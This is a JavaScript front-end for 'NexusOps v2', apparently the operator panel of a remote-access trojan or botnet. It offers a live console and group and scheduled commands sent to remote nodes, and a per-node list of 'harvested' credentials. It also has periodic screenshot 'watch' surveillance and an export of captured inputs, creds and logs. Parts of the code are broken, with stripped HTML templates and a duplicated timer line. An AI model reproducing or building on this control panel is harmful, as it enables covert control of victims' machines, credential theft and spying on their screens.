async function api(path, opts = {}) { opts.headers = Object.assign({ 'Content-Type': 'application/json' }, opts.headers || {}); const r = await fetch(path, opts); if (!r.ok) throw new Error('HTTP ' + r.status); return r.json(); } /* ═══ NexusOps v2 UI: live console, sparklines, schedules, groups, alerts ═══ */ // ── Live Console (drawer) ── let consoleNode = null; let consoleEventSource = null; function openLiveConsole(nodeId, hostname) { consoleNode = { id: nodeId, hostname }; document.getElementById('consoleDrawerHostname').textContent = hostname; document.getElementById('consoleOutput').innerHTML = ''; document.getElementById('consoleDrawer').classList.add('active'); document.getElementById('consoleInput').focus(); // ask agent to fast-poll api(`/api/nodes/${nodeId}/fastpoll`, { method: 'POST', body: JSON.stringify({ slow: false }) }).catch(() => {}); const url = `/api/nodes/${nodeId}/console${nexusToken ? '?token=' + encodeURIComponent(nexusToken) : ''}`; const out = document.getElementById('consoleOutput'); appendConsoleLine('── console attached (fast-poll active) ──', 'sys'); consoleEventSource = new EventSource(url); consoleEventSource.onmessage = (ev) => { try { const d = JSON.parse(ev.data); if (d.type === 'output') appendConsoleLine(d.text, 'out'); } catch (e) {} }; consoleEventSource.onerror = () => appendConsoleLine('── stream interrupted, retrying… ──', 'sys'); } function closeLiveConsole() { if (consoleEventSource) { consoleEventSource.close(); consoleEventSource = null; } if (consoleNode) { // restore slow polling api(`/api/nodes/${consoleNode.id}/fastpoll`, { method: 'POST', body: JSON.stringify({ slow: true }) }).catch(() => {}); } document.getElementById('consoleDrawer').classList.remove('active'); consoleNode = null; } function appendConsoleLine(text, cls) { const out = document.getElementById('consoleOutput'); const div = document.createElement('div'); div.className = 'console-line ' + (cls || 'out'); div.textContent = text; out.appendChild(div); out.scrollTop = out.scrollHeight; } async function consoleRunCommand() { const input = document.getElementById('consoleInput'); const cmd = input.value.trim(); if (!cmd || !consoleNode) return; appendConsoleLine(`$ ${cmd}`, 'cmd'); input.value = ''; try { const r = await fetch(`/api/nodes/${consoleNode.id}/command`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ command: cmd, actionType: 'raw_command' }) }); if (!r.ok) appendConsoleLine('! failed to queue command', 'sys'); } catch (e) { appendConsoleLine('! failed to queue command', 'sys'); } } // ── Sparklines (inline SVG from metricsHistory) ── function sparkline(values, color) { if (!values || values.length < 2) return 'no history'; const w = 90, h = 24, max = Math.max(...values, 100); const pts = values.map((v, i) => `${(i / (values.length - 1)) * w},${h - (v / max) * h}`).join(' '); return ``; } // Patch renderNodesGrid to add sparkline row + console button const _origRenderNodesGrid = renderNodesGrid; renderNodesGrid = function () { _origRenderNodesGrid(); // inject sparklines into each node card document.querySelectorAll('.node-card').forEach((card, idx) => { // cards render in filtered order; match by hostname text — safer: find by data via original data }); // Simpler: re-render footer metrics with sparkline data attribute injection }; // Simpler approach: monkey-patch the map output by wrapping string injection (function patchSparklines() { const orig = renderNodesGrid; renderNodesGrid = function () { orig(); // attach sparkline next to heartbeat label per card using nodesData order const cards = document.querySelectorAll('#nodesGrid .node-card'); const filtered = nodesData.filter(node => { const search = (document.getElementById('searchInput')?.value || '').toLowerCase(); const matchesFilter = currentFilter === 'all' || node.status === currentFilter; const matchesSearch = !search || node.hostname.toLowerCase().includes(search) || node.ip.toLowerCase().includes(search) || node.platform.toLowerCase().includes(search) || node.id.toLowerCase().includes(search); return matchesFilter && matchesSearch; }); cards.forEach((card, i) => { const node = filtered[i]; if (!node) return; const hist = (node.metricsHistory || []).map(m => m.cpu); const foot = card.querySelector('.node-actions'); if (foot) { const spark = document.createElement('span'); spark.innerHTML = sparkline(hist, node.status === 'online' ? '#4ade80' : '#f87171'); spark.title = 'CPU history (last 30 beats)'; spark.style.marginRight = '0.5rem'; foot.parentNode.insertBefore(spark, foot); if (node.agentVersion && node.agentVersion !== 'unknown') { const ver = document.createElement('span'); ver.className = 'node-version'; ver.textContent = 'v' + node.agentVersion; ver.title = 'Agent version'; ver.style.cssText = 'font-size:0.65rem;color:#94a3b8;border:1px solid #334155;border-radius:4px;padding:0 4px;margin-right:0.5rem;align-self:center;'; foot.parentNode.insertBefore(ver, foot); } // live console button const btn = document.createElement('button'); btn.className = 'btn-icon'; btn.title = 'Live Console'; btn.innerHTML = ''; btn.onclick = () => openLiveConsole(node.id, node.hostname.replace(/'/g, "\\'")); foot.insertBefore(btn, foot.firstChild); } }); }; })(); // ── Schedules panel ── function openSchedulesModal() { document.getElementById('schedulesModal').classList.add('active'); renderSchedules(); api('/api/groups').then(g => { const sel = document.getElementById('schedTag'); sel.innerHTML = '' + (g.groups || []).map(x => ``).join(''); }).catch(() => {}); } function closeSchedulesModal() { document.getElementById('schedulesModal').classList.remove('active'); } function renderSchedules() { api('/api/schedules').then(d => { const el = document.getElementById('schedulesList'); if (!d.schedules || !d.schedules.length) { el.innerHTML = '

No scheduled tasks yet. Add one below.

'; return; } el.innerHTML = d.schedules.map(s => `
${escapeHtml(s.name)} ${escapeHtml(s.command)} • every ${s.intervalSec}s • group: ${escapeHtml(s.tag)}
`).join(''); }).catch(() => {}); } async function createSchedule() { const name = document.getElementById('schedName').value.trim(); const command = document.getElementById('schedCommand').value.trim(); const interval = parseInt(document.getElementById('schedInterval').value, 10); const tag = document.getElementById('schedTag').value || 'all'; if (!command || !interval || interval < 15) { toast('Need a command and interval ≥ 15s', 'error'); return; } await api('/api/schedules', { method: 'POST', body: JSON.stringify({ name, command, intervalSec: interval, tag }) }); document.getElementById('schedName').value = ''; document.getElementById('schedCommand').value = ''; toast('Schedule created', 'success'); renderSchedules(); } async function toggleSchedule(id) { await api(`/api/schedules/${id}/toggle`, { method: 'POST' }); renderSchedules(); } async function deleteSchedule(id) { await api(`/api/schedules/${id}`, { method: 'DELETE' }); renderSchedules(); } // ── Group bulk command modal ── function openGroupCommandModal() { document.getElementById('groupCmdModal').classList.add('active'); api('/api/groups').then(g => { const sel = document.getElementById('groupCmdTag'); sel.innerHTML = '' + (g.groups || []).map(x => ``).join(''); }).catch(() => {}); } function closeGroupCommandModal() { document.getElementById('groupCmdModal').classList.remove('active'); } async function submitGroupCommand() { const command = document.getElementById('groupCmdInput').value.trim(); const tag = document.getElementById('groupCmdTag').value || 'all'; if (!command) { toast('Enter a command', 'error'); return; } try { const d = await api('/api/groups/command', { method: 'POST', body: JSON.stringify({ command, tag }) }); toast(`Queued on ${d.count} node(s) in "${tag}"`, 'success'); closeGroupCommandModal(); } catch (e) { toast('Failed to queue group command', 'error'); } } // ── Alerts feed ── function renderAlerts() { const el = document.getElementById('alertsFeed'); if (!el) return; api('/api/alerts').then(d => { const alerts = d.alerts || []; document.getElementById('alertCount').textContent = `${alerts.length}`; el.innerHTML = alerts.length ? alerts.slice().reverse().map(a => `
[${new Date(a.ts).toLocaleTimeString()}] ⚠️ ${escapeHtml(a.message)}
`).join('') : '
No alerts. All nodes checking in.
'; }).catch(() => {}); } setInterval(renderAlerts, 15000); console.log('[v2] UI additions loaded'); // ═══════════════════════════════════════════════════════════════════ // COMPLETENESS ADDITIONS 2026-09-29 — drawer, watch mode, export, token // ═══════════════════════════════════════════════════════════════════ // ── agent token aware binary command ── (function injectAgentToken() { let tries = 0; const iv = setInterval(async () => { tries++; try { const cb = document.getElementById('codeBinary'); if (!cb) return; const r = await api('/api/agenttoken'); if (!r || !r.token) return; if (!cb.dataset.tokenized) { cb.dataset.tokenized = '1'; cb.innerHTML = cb.innerHTML.replace( /(--server [^<]*<\/span>)/, '$1 --token ' + r.token ); } clearInterval(iv); } catch (e) { if (tries > 40) clearInterval(iv); } }, 3000); })(); // ── Export All button in nav ── (function injectExport() { const ks = document.querySelector('button[onclick="killSwitch()"]'); if (!ks || document.getElementById('exportAllBtn')) return; const b = document.createElement('button'); b.id = 'exportAllBtn'; b.className = 'btn btn-secondary'; b.title = 'Download full archive: nodes, commands, logs, inputs, creds, schedules, alerts'; b.innerHTML = ' Export All'; b.onclick = () => { window.location.href = '/api/export/all'; }; ks.parentNode.insertBefore(b, ks); })(); // ── Node detail drawer ── let drawerTimer = null, watchTimer = null, watchLastFileId = null; function closeDrawer() { const d = document.getElementById('nexusDrawer'); if (d) d.remove(); if (drawerTimer) { clearInterval(drawerTimer); drawerTimer = null; } if (watchTimer) { clearInterval(watchTimer); watchTimer = null; } } async function openDrawer(nodeId) { closeDrawer(); const d = document.createElement('div'); d.id = 'nexusDrawer'; d.style.cssText = 'position:fixed;top:0;right:0;width:500px;max-width:95vw;height:100vh;background:#0b1220;border-left:1px solid #1e293b;z-index:9999;overflow-y:auto;padding:1.25rem;box-shadow:-12px 0 40px rgba(0,0,0,.55);font-size:0.85rem;'; d.innerHTML = '
' + '

Loading…

' + '
' + '
'; document.body.appendChild(d); async function render() { let nodes = []; try { const r = await api('/api/nodes'); nodes = Array.isArray(r) ? r : (r.nodes || []); } catch (e) { return; } const n = nodes.find(x => x.id === nodeId); if (!n) { document.getElementById('ndTitle').textContent = 'Node offline'; return; } document.getElementById('ndTitle').textContent = n.hostname + (n.agentVersion ? ' · v' + n.agentVersion : ''); const hist = (n.metricsHistory || []).map(m => m.cpu); const memHist = (n.metricsHistory || []).map(m => m.mem); const lastSeen = n.lastHeartbeat ? Math.round((Date.now() - n.lastHeartbeat) / 1000) + 's ago' : '?'; const statusColor = n.status === 'online' ? '#4ade80' : '#f87171'; let files = [], creds = []; try { files = (await api('/api/files')) || []; } catch (e) {} try { creds = (await api('/api/credentials')) || []; } catch (e) {} if (!Array.isArray(files)) files = []; if (!Array.isArray(creds)) creds = []; const myFiles = files.filter(f => f.nodeId === nodeId).sort((a, b) => (b.timestamp || 0) - (a.timestamp || 0)).slice(0, 12); const myCreds = creds.filter(c => c.nodeId === nodeId).slice(-12).reverse(); const esc = escapeHtml; document.getElementById('ndBody').innerHTML = `
Status: ${esc(n.status)} Last seen: ${esc(lastSeen)} IP: ${esc(n.ip || '?')} OS: ${esc(n.osName || n.platform)} ${esc(n.arch || '')} Tags: ${esc((n.tags || []).join(', '))} Uptime: ${esc(n.uptime ? Math.round(n.uptime / 3600) + 'h' : '?')}
CPU
${sparkline(hist, statusColor)}
MEM
${sparkline(memHist, '#60a5fa')}
Tags
Files (${myFiles.length})
${myFiles.length ? myFiles.map(f => `
${esc(f.filename)} ${Math.round((f.size || 0) / 1024)}KB
`).join('') : '
No files yet.
'}
Credentials (${myCreds.length})
${myCreds.length ? myCreds.map(c => `
${esc(c.type)} ${esc(String(c.data).slice(0, 60))}
`).join('') : '
Nothing harvested.
'}
`; // restore watch state after re-render (innerHTML wipe) if (watchTimer) { const wb = document.getElementById('watchBtn'); if (wb) { wb.textContent = 'Watching…'; wb.style.borderColor = '#4ade80'; wb.style.color = '#4ade80'; } } if (watchLastFileId) { const box = document.getElementById('shotBox'), img = document.getElementById('shotImg'); if (box && img) { box.style.display = 'block'; img.src = '/api/files/' + watchLastFileId + '?cb=' + Date.now(); } } } render(); drawerTimer = setInterval(render, 5000); drawerTimer = setInterval(render, 5000); } async function submitNodeActionTo(nodeId, actionType, payload) { try { await api(`/api/nodes/${nodeId}/command`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ actionType, payload, command: payload.command || actionType }) }); } catch (e) { console.error('command failed', e); } } async function drawerPing(nodeId) { const el = document.getElementById('pingResult'); if (el) el.textContent = 'pinging…'; const t0 = Date.now(); try { await api(`/api/nodes/${nodeId}/ping`, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: '{}' }); if (el) el.textContent = '✓ round trip ' + (Date.now() - t0) + 'ms'; } catch (e) { if (el) el.textContent = '✗ ping failed'; } } async function drawerShot(nodeId) { await submitNodeActionTo(nodeId, 'screenshot', {}); setTimeout(() => pollLatestShot(nodeId, true), 4000); } function pollLatestShot(nodeId, force) { api('/api/files').then(files => { const mine = (files || []).filter(f => f.nodeId === nodeId).sort((a, b) => (b.timestamp || 0) - (a.timestamp || 0)); if (!mine.length) return; const latest = mine[0]; if (force || latest.id !== watchLastFileId) { watchLastFileId = latest.id; const box = document.getElementById('shotBox'), img = document.getElementById('shotImg'); if (box && img) { box.style.display = 'block'; img.src = '/api/files/' + latest.id + '?cb=' + Date.now(); } } }).catch(() => {}); } function drawerToggleWatch(nodeId) { const btn = document.getElementById('watchBtn'); if (watchTimer) { clearInterval(watchTimer); watchTimer = null; if (btn) { btn.textContent = 'Watch'; btn.style.borderColor = ''; btn.style.color = ''; } return; } if (btn) { btn.textContent = 'Watching…'; btn.style.borderColor = '#4ade80'; btn.style.color = '#4ade80'; } watchLastFileId = null; drawerShot(nodeId); watchTimer = setInterval(() => { submitNodeActionTo(nodeId, 'screenshot', {}); setTimeout(() => pollLatestShot(nodeId, false), 3500); }, 15000); } async function drawerSaveTags(nodeId) { const v = (document.getElementById('tagInput') || {}).value || ''; await submitNodeActionTo(nodeId, 'update_tags', { tags: v.split(',').map(t => t.trim()).filter(Boolean) }); } // stamp card node ids so click-to-drawer works (function stampCardIds() { const prev = renderNodesGrid; renderNodesGrid = function () { prev(); const cards = document.querySelectorAll('#nodesGrid .node-card'); const filtered = (typeof nodesData !== 'undefined' ? nodesData : []).filter(node => { const search = (document.getElementById('searchInput')?.value || '').toLowerCase(); const matchesFilter = currentFilter === 'all' || node.status === currentFilter; const matchesSearch = !search || node.hostname.toLowerCase().includes(search) || node.ip.toLowerCase().includes(search) || node.platform.toLowerCase().includes(search) || node.id.toLowerCase().includes(search); return matchesFilter && matchesSearch; }); cards.forEach((card, i) => { if (filtered[i]) card.dataset.nodeId = filtered[i].id; }); }; })(); // card click → drawer (keep existing buttons working) document.addEventListener('click', function (e) { const card = e.target.closest && e.target.closest('.node-card'); if (!card || e.target.closest('button') || e.target.closest('a')) return; const nid = card.getAttribute('data-node-id') || (card.id || '').replace('node-card-', ''); if (nid) openDrawer(nid); }, true);